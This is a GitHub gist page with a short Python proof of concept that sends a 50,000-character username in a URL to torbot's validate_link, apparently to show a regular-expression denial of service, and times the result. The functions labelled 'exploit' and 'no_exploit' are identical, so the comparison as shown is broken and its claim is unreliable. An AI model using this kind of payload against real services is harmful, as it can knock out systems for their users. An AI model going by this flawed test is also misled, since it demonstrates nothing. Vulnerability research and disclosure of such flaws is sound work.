Created
August 3, 2023 15:36
-
-
Save ikkebr/6041055314f1cfb8e65b2a1acbaae12c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from torbot.modules.validators import validate_link | |
import timeit | |
import re | |
import urllib.parse | |
i = 50000 | |
username = "1"*i | |
def exploit(): | |
extra = '' | |
validate_link(f'https://{username+extra}:x@foo.com') | |
def no_exploit(): | |
extra = '' | |
validate_link(f'https://{username+extra}:x@foo.com') | |
print("No Exploit", timeit.timeit("no_exploit()", setup="from __main__ import no_exploit", number=1)) | |
print("Wt Exploit", timeit.timeit("exploit()", setup="from __main__ import exploit", number=1)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment